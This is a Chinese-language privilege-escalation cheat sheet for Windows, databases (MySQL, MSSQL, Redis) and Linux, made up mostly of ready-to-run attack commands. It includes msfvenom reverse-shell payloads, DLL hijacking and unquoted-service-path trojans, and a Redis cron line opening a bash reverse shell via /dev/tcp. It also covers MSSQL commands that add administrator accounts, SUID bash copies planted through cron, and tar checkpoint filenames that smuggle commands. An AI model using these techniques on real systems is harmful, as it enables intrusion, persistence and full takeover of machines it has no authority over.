1. windows的常用cmd命令
systeminfo 打印系統(tǒng)信息
whoami 獲得當前用戶名
whoami /priv 當前賬戶權限
ipconfig 網(wǎng)絡配置信息
ipconfig /displaydns 顯示DNS緩存
route print 打印出路由表
arp -a 打印arp表
hostname 主機名
net user 列出用戶
net user UserName 關于用戶的信息
net user \SMB PATH Pa$$wOrd/u:userName 連接SMB
net localgroup 列出所有組
net localgroup GROUP 關于指定組的信息
net start 列出啟動的服務
net view \127.0.0.1會話打開到當前計算機
net session 開放給其他計算機
netsh firewall show config 顯示防護墻配置
driverquery 列出安裝的驅動
tasklist /svc 列出服務任務
dir /s foo 在目錄中搜索包含指定字符的項
sc query 列出所有服務
sc qc ServiceName 找到指定服務的路徑
shutdown /r /t 0 立刻重啟
type file.txt 打印出內(nèi)容
icacls "C:\Example" 列出權限
2. 系統(tǒng)漏洞提權
- 信息收集-補丁篩選
- 利用
MSF 或特定 EXP執(zhí)行提權操作 - windows漏洞檢測平臺----WindowsVulnScan
exp利用平臺
● msf
● https://github.com/SecWiki/windows-kernel-exploits
3. 本地提權--AT&SC&PS&令牌竊取&進程注入
3.1 at指令提權
提權思路: 用at指令打開的cmd窗口的身份是system權限
at 21:26 /interactive cmd.exe //在21:26打開cmd窗口
at //查看作業(yè)詳情
at /del //刪除作業(yè)
3.2 sc提權
提權思路: 用sc指令創(chuàng)建服務, 運行的程序是以system權限運行
# sc命令創(chuàng)建一個syscmd的服務,綁定binPath的路徑(以cmd打開)
sc Create syscmd binPath= "cmd /K start" type= own type= interact
3.3 通過pstools工具提權
提權思路:pstools是微軟官方為windows提供的第三方工具庫,通過該工具包中的psexec.exe程序可以實現(xiàn)提權
針對Windows2008
psexec.exe -accepteula -s -i -d cmd.exe
3.4 本地提權--令牌竊取
條件: Windows2008&Windows7
注: 可通過爛土豆實現(xiàn)從web權限提升到系統(tǒng)權限
爛土豆在meterpreter中的運行命令meterpreter>execute -cH -f ./potato.exe
1. 生成木馬. 其中l(wèi)host和lport可以理解為攻擊機的ip地址和端口號
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.3 LPORT=5555 -f exe > shell.exe
2. 本地執(zhí)行木馬,反彈meterpreter會話, 利用incognito模塊令牌竊取
meterpreter> use incognito # 使用incognito模塊
meterpreter> list_tokens -u #列舉所有令牌
meterpreter> impersonate_token "NT AUTHORITY\SYSTEM" # 竊取令牌
3.5 Windows2003&10進程注入提升
pinjector進程注入工具
將一個低權限進程注入到一個高權限的進程中,從而獲得高權限進程的高權限,實現(xiàn)提權
3.6 DLL劫持
Windows 程序(exe)啟動的時候需要 DLL庫的支持。如果這些 DLL 不存在,則可以通過在應用程序要查找的位置放置惡意 DLL 來提權。通常,Windows 應用程序有其預定義好的搜索 DLL 的路徑,它會根據(jù)下面的順序進行搜索:1、應用程序加載的目錄;2、C:\Windows\System32;3、C:\Windows\System;4、C:\Windows;5、當前工作目錄 Current Working Directory,CWD;6、在 PATH 環(huán)境變量的目錄(先系統(tǒng)后用戶). 我們可以通過分析某個軟件所加載的dll文件, 用惡意的dll文件去替換正常的dll文件,從而實現(xiàn)權限提升
1. 下載dll分析軟件如火絨劍,PChunter, 分析應用所需要加載的dll文件,找到一個可以操作的dll文件
2. 用msf生成dll后門: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f dll > shell.dll
3. 覆蓋正常的的dll文件,下次應用重啟時將會執(zhí)行此惡意dll文件
1.dll程序要能替換(就是程序的文件夾內(nèi)包含dll)
2.管理員要啟動程序
3.裝有第三方軟件
3.7 不帶引號服務路徑提權
當 Windows 服務運行時,會發(fā)生以下兩種情況之一。如果給出了可執(zhí)行文件,并且引用了完整路徑,則系統(tǒng)會按字面解釋它并執(zhí)行。但是,如果服務的文件路徑未包含在引號中并且路徑中存在空格,則操作系統(tǒng)將會執(zhí)行找到的空格分隔的服務路徑的第一個實例
查看服務路徑是否帶引號命令: system32>wmic service get name,displayname,pathname,startmode | findstr /i "Auto"
如有一個服務a.exe,他的可執(zhí)行文件的路徑是
“C:\Program Files\a.exe”,路徑被包含在引號中,則系統(tǒng)會正常解釋并執(zhí)行它,沒有安全問題; 但是如果沒有加引號,如C:\Program Files\a.exe, 就會被解釋為C:\Program程序,Files\a.exe為參數(shù)
可以生成一個C:\Program程序木馬放在C:\路徑下,從而實現(xiàn)服務重啟時提權
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f exe -o Program.exe
3.8 不安全的服務配置提權
當我們對某個服務有完全控制權時, 我們就可以通過改變服務對應的二進制文件執(zhí)行木馬文件, 或者直接執(zhí)行cmd命令, 因為通過服務運行的程序默認是以系統(tǒng)權限運行,從而實現(xiàn)權限提升
檢查能夠操作的服務:
工具: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk.exe -uwcqv "administrators" *
對可以操作的服務進行配置修改
sc config spooler binPath= "net user emxiai 12345 /add" #執(zhí)行惡意命令或者替換成惡意木馬路徑
4. 數(shù)據(jù)庫提權
4.1 mysql數(shù)據(jù)庫提權
流程:服務探針-信息收集-提權利用-獲取權限
namp探測主機操作系統(tǒng)、端口服務,版本信息(nmap -sV -O ip)
- UDF提權:(原理:自定義mysql函數(shù)去執(zhí)行系統(tǒng)命令)
1. select version():查看版本
2. select @@basedir : 查看mysql安裝目錄
3. 手工創(chuàng)建 plugin 目錄或利用 NTFS 流創(chuàng)建
-1.mysql<5.1 導出目錄: c:/windows 或 system32
-2.mysql=>5.1 導出到: 安裝目錄/lib/plugin/(Linux也一樣)
# 使用ntfs流創(chuàng)建: select 'x' into dumpfile '目錄/lib/plugin::INDEX_ALLOCATION';
4. 使用提權大馬導出dll文件到plugin目錄
- mof提權
原理:(在c:/windows/system32/wbem/mof/nullevt.mof)其作用是每隔五秒就會去監(jiān)控進程創(chuàng)建和死亡。
我們可以通過mysql的讀寫文件權限,將惡意代碼寫入到nullevt.mof文件中,從而以系統(tǒng)權限去執(zhí)行惡意代碼.
select load_file('C:\phpstudy\PHPTutorial\WWW\user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
'C:\phpstudy\PHPTutorial\WWW\user_add.mof'中就是要執(zhí)行的惡意代碼
4.2 MSSQL數(shù)據(jù)庫提權
- 使用
xp_cmdshell進行提權
xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則是默認禁止的,如果用戶擁有管理員sa權限則可以用sp_congifgure重新開啟它
啟用:
EXEC sp_configure 'show advanced options',1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell',1;
關閉;
EXEC sp_configure 'show advanced options',1;
reconfigure;
exec sp_config 'xp_cmdshell',0;
reconfigure;
執(zhí)行;
exec master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被刪除了,可以上傳xplog70.dll恢復
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\ProgramFiles\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
- 使用
sp_oacreate提權
主要用來調用OLE對象,利用OLE對象的run方法執(zhí)行系統(tǒng)命令。
啟用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
關閉:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
執(zhí)行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
- 使用SQL server沙盒提權
參考資料:https://blog.51cto.com/11797152/2411770
-提權語句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不開啟的話在執(zhí)行xp_regwrite會提示讓我們開啟
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--關閉沙盒模式,如果一次執(zhí)行全部代碼有問題,先執(zhí)行上面兩句代碼。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查詢是否正常關閉,經(jīng)過測試發(fā)現(xiàn)沙盒模式無論是開,還是關,都不會影響我們執(zhí)行下面的語句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode參數(shù)含義(默認是2)
`0`:在任何所有者中禁止啟用安全模式
`1`:為僅在允許范圍內(nèi)
`2`:必須在access模式下
`3`:完全開啟
openrowset是可以通過OLE DB訪問SQL Server數(shù)據(jù)庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。
--恢復配置(暫不執(zhí)行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
4.3 Oracle數(shù)據(jù)庫提權- 自動化工具(Oracleshell)
4.4 Redis提權
- redis權限提升--計劃任務
1. 連接redis:
redis-cli -h IP地址(如果是本地數(shù)據(jù)庫填127.0.0.1)
2. 執(zhí)行提權命令-反彈bash:
set x "\n* * * * * bash -i >& /dev/tcp/監(jiān)聽IP地址/端口號 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
4.5 postgresql提權
- CVE-2018-1058
- CVE-2019-9193
5. Linux提權
5.1 信息收集
- 操作系統(tǒng)版本、內(nèi)核
- 環(huán)境變量可能存在的密碼、api密鑰、
- 有那些應用、那些服務、權限方面、配置方面、計劃任務方面
- 網(wǎng)絡信息(那些與主機通信(進行內(nèi)網(wǎng)滲透)、DNS/DHCP)
- 敏感文件讀取
自動化收集工具: LinEnum; linuxprivchecker;
5.2 Linux 提權之SUID
- 漏洞成因:chmod u+s給與了suid;chmod u-s刪除了suid, 關注命令:
nmap、vim、find、bash、more、less、nano、cp - 本來是普通用戶執(zhí)行普通程序,但是一旦給了程序suid權限,程序在運行中就會以root 權限執(zhí)行,從而提升權限。
- 提權過程: 探針是否有SUID(手工或腳本)-利用特定SUID提權
手工探測:
find / -user root -prem -4000 -print 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
find / -user root -prem -4000 -exec ls -ldb { } \;
如果find擁有suid權限,可以使用以下命令提權
touch xiaodi
find / xiaodi -exec "whoami" \;
5.3 Linux配合內(nèi)核漏洞本地提權
- 提權過程:連接-獲取可利用漏洞-下載或上傳EXP-編譯EXP-給權限執(zhí)行
- 上傳漏洞探針linux-exploit-suggester2并執(zhí)行,發(fā)現(xiàn)了可能被利用的漏洞
- 訪問他的url,將exploits改為download獲取exp,進行編譯運行
- 利用msf搜索相關漏洞直接利用
3.4 Linux定時任務提權
1. 路徑問題: 寫定時任務時沒有寫絕對路徑, 寫的是相對路徑, 我們可以覆蓋相對路徑的文件, 因為可能相對路徑可能有寫入權限, 而絕對路徑我們可能沒有權限.
如
# 查看定時任務
cat /etc/crontab
發(fā)現(xiàn)存在相對路徑定時任務 : 1 * * root test.sh
# 將我們需要執(zhí)行的惡意指令寫到同名的一個文件中
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/xiaodi/test.sh
# 給予執(zhí)行權限
chmod +x /home/xiaodi/test.sh
# 當調用我們寫的同名文件時, 將會得到一個具有root權限的bash
/tmp/bash
2. 命令問題: 在定時任務中, 在使用tar命令打包時, 打包文件寫成通配符*, 通過構造參數(shù)名稱的文件名實現(xiàn)提權.
# 定時備份不安全寫法
tar czf /tmp/backup.tar.gz *
# 構造惡意文件test.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/undead/script/test.sh
# 構造參數(shù)名稱的文件
echo " " > "--checkpoint-action=exec=sh test.sh"
echo " " >--checkpoint=1
# 在執(zhí)行備份命令時, 執(zhí)行情況如下:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
其中--checkpoint、--checkpoint-action文件當做了tar命令的參數(shù)導致惡意代碼執(zhí)行
3. 不安全權限分配問題: 一般情況我們沒有權限操作定時任務, 但是在定時任務中, 存在不安全的權限分配操作,如chmod 777 775等操作,可能導致的定時任務被覆蓋
環(huán)境變量&數(shù)據(jù)庫